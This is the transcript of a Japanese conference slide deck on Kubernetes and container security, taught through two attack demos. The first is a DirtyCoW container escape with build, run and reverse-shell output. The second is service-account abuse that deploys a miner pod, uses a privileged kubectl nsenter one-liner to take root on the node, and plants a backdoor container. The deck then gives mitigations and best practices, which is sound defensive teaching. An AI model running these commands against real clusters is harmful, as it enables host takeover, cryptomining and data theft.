攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

© 2020 NTT DATA Corporation
2020年9月8日
株式会社NTTデータ藤井秀行
攻撃しながら考えるKubernetesのセキュリティ
記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です。

View Slide

© 2020 NTT DATA Corporation 2
• 所属：NTTデータ / インフラエンジニア
• 仕事：k8sを活用する組織のリサーチチーム
• 経歴：OSS → OSとコンテナ → 現職
• 趣味：コミュニティ活動
Whois
藤井秀行
(@fujiihda)

View Slide

突然の圧力！？ありがとうございます！！

View Slide

本発表はコミュニティの皆さんのセキュリティ
向上を目的としています。攻撃手法を題材と
して扱いますが違法なクラッキングを推進す
るものではありません。絶対に悪用しないで
ください。また、発表内容は個人の見解です。
所属する企業やコミュニティの立場、意見を
代表するものではありません。
【重要】はじめに

View Slide

今日のシナリオ
• シナリオ1：コンテナ全般を対象としたセキュリティ
– 攻撃者：内部犯行
– NW種別：隣接ネットワーク
– テーマ：コンテナ全般におけるホストの特権への権限昇格
• シナリオ2：k8s固有のセキュリティ
– 攻撃者：外部犯行
– NW種別：外部ネットワーク (インターネット越し)
– テーマ：k8sにおけるNodeへの権限昇格

View Slide

本日の流れ
1. なんとなくk8sしてませんか？
2. 皆さんに持って帰ってほしいもの
3. コンテナの特有のセキュリティリスクと対策
4. シナリオ
- シナリオ1：コンテナ全般を対象としたセキュリティ
- シナリオ2：k8s固有のセキュリティ
5. ベストプラクティス
6. k8sを適切に設定して使うのはユーザ責任

View Slide

k8sはセキュリティを
きちんと考慮されない
ままで導入されがち
なのでは！？

View Slide

ぜんぜんわからない俺たちは雰囲気でコンテナをやっている
何も考えずに
← は NG
何も考えずに
← は NG
何も考えずに
← は NG

View Slide

ぜんぜんわからない俺たちは雰囲気でk8sをやっている
PodSecurity
Policy？
Service
Account？
特権コンテナ？
メタデータ
アクセス？
脆弱性
診断は？

View Slide

皆さんに持って帰ってほしいもの
• 「これは危険だ」という知識
• 脅威に対する考え方
• コンテナへの攻撃の全体像

View Slide

コンテナ特有のセキュリティリスクと対策

View Slide

(参考) 各リスクの内訳

View Slide

シナリオ1：
コンテナ全般を対象とした
セキュリティ

View Slide

シナリオ1：防御側
• セキュリティは後回しで、塩漬け文化があり、
– 古いOS上の
– 古いDockerで
– 任意コード実行の脆弱性のある社内向けWebアプリを動かしている
– ケーパビリティとseccompはデフォルトのまま有効化している
• Webアプリ上に個人情報は存在しない
• Webアプリには、サーバ室だけでなく、居室からでもアクセスでき、情報を
社外に持ち出すための抜け道が存在する
• コスト優先でマルチテナント構成をとっており、同じホスト上で
別部門の管理する個人情報を含むシステムが動いている

View Slide

(参考) シナリオ1：攻撃側
• 攻撃者種別：内部犯行者
• 攻撃対象：同一ホスト上の別部署の管理するシステムにある個人情報
• 攻撃手段：ホストと社内向けWebアプリに深刻な脆弱性があることを
知っていて、自ら攻撃コードを探したり、ツールを実行できる
• 攻撃目的：以前同担当に所属していて恨みがあり、個人情報の売買に
興味がある
• 前提条件：Webアプリの脆弱性をツールで突いてシェルを取った
(コンテナのプロセスの権限で任意のコマンドを実行できる)

View Slide

シナリオ1で扱う脆弱性
• CVE-2016-5195 (通称：DirtyCoW、極めて古く修正済)
– 様々な種類のPoCがあり、できることが違う
• https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
– コンテナエスケープ用のPoCではコンテナ内のユーザがホストの
特権ユーザに昇格できる
• すぐに試せるgeblさんの作った全部入りのコンテナ
– https://github.com/gebl/dirtycow-docker-vdso
• 上のコンテナの中身はscumjrさんの作った次のコードなので、
コンテナの中でコードを取得しても試せる
– https://github.com/scumjr/dirtycow-vdso

View Slide

(参考) シナリオ1のホストの環境
# cat /etc/redhat-release
CentOS Linux release 7.2.1511 (Core)
# uname -a
Linux localhost.localdomain 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57
UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
# rpm -qa | grep docker
docker-engine-1.13.1-1.el7.centos.x86_64
docker-engine-selinux-17.05.0.ce-1.el7.centos.noarch
# getenforce
Disabled

View Slide

コンテナに入る (シェルを取られたつもり)
# cd dirtycow-docker-vdso; docker-compose run dirtycow /bin/bash
[email protected]:/#

View Slide

攻撃に必要な情報を取得
[email protected]:/# ifconfig -a
eth0 Link encap:Ethernet HWaddr 02:42:ac:12:00:03
inet addr:172.18.0.3 Bcast:0.0.0.0 Mask:255.255.0.0
(省略)

View Slide

make
[email protected]:/# cd /dirtycow-vdso; make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread

View Slide

実行
[email protected]:/dirtycow-vdso# ./0xdeadbeef 172.18.0.3:22
[*] payload target: 172.18.0.3:22
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
[*] vdso successfully restored
[*] restore: patch 1/2
[*] vdso successfully restored

View Slide

結果
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
localhost.localdomain

View Slide

結果
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
localhost.localdomain
ケーパビリティとseccompは
デフォルトで有効化していた両方とも無効化してない
のにナンデ！？
少々お待ちください

View Slide

なにをされたのか
• アプリケーションの脆弱性を悪用されてシェルを取られた
(任意コード実行可能だった)
• OSの脆弱性を悪用されてコンテナ内のユーザがホストの
特権ユーザに権限昇格した
• (明示的に書いてないが) ホストの特権で同一ホスト上の別の
コンテナに侵入できる状態になった

View Slide

なぜ攻撃が成立したか
• コンテナとして動かしていたアプリケーションに任意の
コード実行の脆弱性があった
• OSとコンテナランタイムが古く、深刻な脆弱性があり権限昇格の
リスクがあった
• 脆弱なコンテナがマルチテナント構成の同一ホスト上あった
• コンテナのセキュリティを高めるOSの機能は、、、
有効化していたんだけど、、、

View Slide

答え：バージョンアップ
以外では対処困難な
脆弱性もある

View Slide

対策
• OS(Linuxカーネル)とコンテナランタイムを最新化する
– OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある
• セキュリティ機能は万能ではない
– システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処
• マルチテナント構成のリスクを考慮して採用可否を判断する
– コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス
– コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を
受けやすい
→ ただし、いまは様々な選択肢が提供されていて改善されつつある
(本発表内ではこれらには言及しません)

View Slide

• OS(Linuxカーネル)とコンテナランタイムを最新化する
– OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある
– バージョンアップ以外に対処がない脆弱性は騒ぎになりやすいので即対処
• マルチテナント構成のリスクを考慮して採用可否を判断する
– コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス
– コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を
受けやすい
→ ただし、いまは様々な選択肢が提供されていて改善されつつある
(本発表内では詳細は言及しません)
対策
コンテナのセキュリティを高める
機能の話どこにいった！？

View Slide

ケーパビリティとseccompは攻撃可能な面を減らす
• ケーパビリティ
– root権限を目的別に約 30 個に分割した特権機能群
– 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討)
• seccomp
– プロセスが利用できるシステムコールを制限できる
– コンテナでは、コンテナ内のプロセスが実行するシステムコール
を制限できる
– 定義したシステムコールが呼ばれたときの制御を、許可、拒否、
終了などのアクションから選択でき、種類だけでなく、引数との
組み合わせも定義可能
– 任意のコマンドが実行されたとしても、影響範囲を最小限に
抑えることが可能
多層防御の考えのもと重ね
掛けを基本として、要件や
粒度に応じて使い分ける
でもケーパビリ
ティは最小権
限にすべきか
なぁ
セキュリティ実
践ガイドに詳細
が書いてある

View Slide

(参考) k8s v1.19 から seccomp が使える
apiVersion: v1
kind: Pod
metadata:
name: sample-capabilities
spec:
containers:
- name: tools-container
image: amsy810/tools:v2.0
securityContext:
capabilities:
add: ["SYS_ADMIN"]
drop: ["AUDIT_WRITE"]
apiVersion: v1
kind: Pod
metadata:
name: audit-pod
labels:
app: audit-pod
spec:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/audit.json
containers:
- name: test-container
image: hashicorp/http-echo:0.2.3
args:
- "-text=just made some syscalls!"
securityContext:
allowPrivilegeEscalation: false
引用元：完全ガイドサンプルリポジトリ、および、Kubernetes.io の “Restrict a Container’s Syscalls
with Seccomp” のページのサンプルより引用
seccomp
ケーパビリティ

View Slide

シナリオ2：
k8s固有のセキュリティ

View Slide

(参考) ここから扱うネタは定番ネタ
• 某検索エンジンで「Kubernetes Attack」などで検索

View Slide

シナリオ2：防御側
• セキュリティは後回しで、塩漬け文化があり、
– クラウドベンダのマネージドk8s上に
– セキュリティ脆弱性がよく話題になるCMSをデプロイした
– CMSには後日深刻な脆弱性が見つかったが対処していない
– CMSはインターネットに公開されている
• CMSは付き合いのあるお客様向けの情報発信に使っているものの、
重要度は低く、CMS上には公開情報以外載せていない
• コスト優先でマルチテナント構成をとっており、同じNode上に別部門
の管理する個人情報を含むシステムが動いている

View Slide

(参考) シナリオ2：攻撃側
• 攻撃者種別：スクリプトキディ
• 攻撃対象：無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、
IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス
に対して無差別に攻撃)
• 攻撃手段：既知脆弱性を悪用するツールを用いるのみで高度な技術なし
• 攻撃目的：お金 (マイニングと個人情報売買)
• 前提条件：CMSの脆弱性をツールで突いてシェルを取った
(コンテナのプロセスの権限で任意のコマンドを実行できる)

View Slide

わたしは誰だ… ここはどこだ……
$ id
uid=1000(cms) gid=1000(cms) groups=1000(cms)
$ ps -ef
UID PID PPID C STIME TTY TIME CMD
cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb-
init /usr/local/sbin/entrypoint.sh
cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app
cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash
cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef
$ df -h
(省略)
tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount
(省略)

View Slide

パスワードと/rootへのアクセス
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ ls -l /root
ls: cannot open directory '/root': Permission denied

View Slide

ほう kubeですかたいしたものですね
$ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a
micontained-linux-amd64; chmod 755 amicontained; ./amicontained
(省略)
Container Runtime: kube
Has Namespaces:
pid: true
user: false
AppArmor Profile: docker-default (enforce)
Capabilities:
BOUNDING -
> chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a
udit_write setfcap
Seccomp: disabled
Blocked Syscalls (29):
SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A
CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU
P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF
Looking for Docker.sock

View Slide

環境変数を見てみる
$ env | grep -i kube
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.100.0.1

View Slide

k8sのバージョンを見てみる
$ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
{
"major": "1",
"minor": "15+",
"gitVersion": "v1.15.12-■■■■■■■■",
"gitCommit": "■■■■■■■■■■■■■■■■■■",
"gitTreeState": "clean",
"buildDate": "2020-06-01■■■■■■■■",
"goVersion": "go1.12.17b4",
"compiler": "gc",
"platform": "linux/amd64"
}

View Slide

kubectlしてみる
$ export PATH=/tmp:$PATH
$ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15
.12/bin/linux/amd64/kubectl; chmod 755 kubectl
$ kubectl get namespaces
Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount
:prd:default" cannot list resource "namespaces" in API group "" at the cluster scop
e

View Slide

現在Poｄを作成できるか
$ kubectl auth can-i create pods
yes

View Slide

悪意のあるPodを作成
$ kubectl apply -f c0inminer.yaml
悪意のあるyamlを書
いてPodを作成

View Slide

Nodeに権限昇格してバックドアを作成
$ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides
'{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":
["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“
securityContext":{"privileged":true}}]}}’
r00tc0ntainer / #
r00tc0ntainer / # docker run -d backd00r
Nodeの特権になった
あとは個人情報を探
そう (省略)
バックドア作成した

View Slide

なにをされたのか
• アプリケーションの脆弱性を悪用されてシェルを取られた
(任意コード実行可能だった)
• Service Accountを悪用されて、k8sにマイニング用のPodを建てられた
• Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを
建てられた (権限昇格)
– そしてバックドアを仕込まれた
• (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の
他のコンテナに入っている個人情報にアクセス可能になった

View Slide

なぜ攻撃が成立したか
• コンテナとして動かしていたアプリケーションに任意の
コード実行の脆弱性があった
• k8sの各種機能が適切に設定されていなかった
– Service Accountが最小権限に設定されていなかった
– コンテナ内でできることが限定されていなかった
– 特権コンテナが禁止されていなかった
– あらかじめ許可されていないコンテナが起動できた
• 脆弱なコンテナがマルチテナント構成の同一ホスト上あった

View Slide

今回の原因はk8sの
設定不備です。k8sの
脆弱性ではありません。

View Slide

対策
• (今回は悪用されなかったが) Kubernetesは最新化
• k8sの各種機能を適切に設定してセキュリティを高める
– Service Accountは最小権限
– コンテナ内でできることは限定する
– 特権コンテナはなるべく禁止
– 信頼できるコンテナのみが起動できるようにする
• マルチテナントにする際はリスクを考慮してセキュリティ徹底

View Slide

デモ2に有効と考えるベストプラクティス
• アプリの脆弱性を是正
– CI/CDの仕組みのなかに脆弱性診断を導入
– 環境変数暗号化
• Service Accountは最小権限
• コンテナ内でできることを限定
– コンテナ内で ps や curl などのできないコンテナイメージの採用
– 書き込みが不要なコンテナであればリードオンリー
• PodSecurityPolicy設定
– (特別な理由がない限り) 特権コンテナ基本禁止
– 最小権限を徹底してコンテナ作成などの不要な権限を与えない
• あらかじめ許可された信頼できるコンテナのみに起動を許可
– Binary Authorization導入
重要！

View Slide

個人的ベストプラクティスの一部 (前ページ掲載除く)
• メタデータアクセス制御 (169.254.169.254 アクセス禁止)
• Namespaceは専門知識を持った人が対応
• RBACも専門知識を持った人が対応
• 必要な通信のみを許可
• 不要ならホストのボリュームをマウントしない
• 徹底的にIaCで自動化
• 高いセキュリティレベルが求められるならクラスタ分割
• 悪意を即検知して通知/是正するセキュリティの仕組みの導入
重要！

View Slide

責任共有モデルでは
k8sを適切に設定する
のはユーザの責任

View Slide

• アプリからk8sに至るまでを最新化
• k8sのセキュリティを高める機能を適切に使う
• ベストプラクティスは全部抑える
• k8sのセキュリティを設定する責任はユーザ
• マルチテナントはセキュリティリスクを考慮
まとめ

View Slide

Reference
• 書籍：Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド
• 書籍：Kubernetes Security
• 書籍：Container Security
• KubeCon NA 2019 CTF：
https://securekubernetes.com/
• Kubernetes Security for Microservices：
https://speakerdeck.com/rung/kubernetes-security-for-microservices/
• Threat matrix for Kubernetes：
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
• NIST SP800-190 Application Container Security Guide：
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
• CIS Benchmark原本：
https://www.cisecurity.org/benchmark/kubernetes/
• CIS Benchmark GKE版：
https://www.cisecurity.org/cis-benchmarks/
• CIS Benchmark EKS版：
https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/

View Slide

(参考) これからやりたい (願望)
• 高度な応用 (技術を組み合わせる) (今日の発表とあまり関係ない)
– Kubernetesを活用する組織のアプリ開発とファジング技術を組み合わせたセキュリティ向上
– Kubernetesと関連コンポーネント自体のファジング
• シナリオ2の攻撃内容高度化と資料化
– シナリオ2改：クラウドベンダのメタデータからクレデンシャル取得
– シナリオ2改改：Kubernetesと関連コンポーネントの脆弱性を突く
– シナリオ2改改改：Kubernetesと関連コンポーネントの未発見の脆弱性を探す
• セルフハンズオン化と展開
– シナリオ2
– シナリオ2改
– シナリオ2改改

View Slide

(参考) 早期警戒して即対応したい脆弱性
• 個人の見解として、エンタープライズ領域で特に注意している脆弱性は、
デフォルト設定で無条件に攻撃が成立するもの、かつ、次の脆弱性
– Remote Code Execution (RCE)：遠隔から任意のコードを実行する攻撃手法、
または、脆弱性
• 公開しているサービス自体、または、関連コンポーネントにインターネット越しで
この脆弱性があると他の攻撃に繋がりやすい
– Privilege Escalation：権限昇格する攻撃手法、または、脆弱性
• OS(Linuxカーネル)やコンテナランタイムにこれがあると致命的
– Server Side Request Forgery (SSRF)：直接到達できない内部サーバなどに
対して公開サーバの不具合を悪用することで任意のリクエストを送りつける攻撃
手法、または、脆弱性
• 某金融機関のクレデンシャル取得で有名で、権限昇格なしで深刻な情報
漏えいにつながる可能性あり

View Slide

(参考) コンテナに関わる脆弱性一部抜粋その1
• runc
– CVE-2016-3697
– CVE-2016-9962
– CVE-2019-5736
• Dockerデーモン
– Shocker (CVE番号なし)
– CVE-2014-9357
– CVE-2018-15664
– CVE-2019-14271
• Linuxカーネル
– CVE-2016-5195
– CVE-2017-5123
詳細は2章参照。
脆弱性の内容と対策
を理解しよう！

View Slide

(参考) コンテナに関わる脆弱性一部抜粋その2
• kube-apiserver
– CVE-2018-1002105
– CVE-2019-11247
• kubelet
– CVE-2017-1002101
– CVE-2017-1002102
– CVE-2019-11245
• kubectl
– CVE-2019-1002101
– CVE-2019-11246
– CVE-2019-11249
• Kubernetes Dashboard
– CVE-2018-18264
詳細は2章参照。
脆弱性の内容と対策
を理解しよう！

View Slide

攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

fujiihda

More Decks by fujiihda

Other Decks in Technology

Featured

Transcript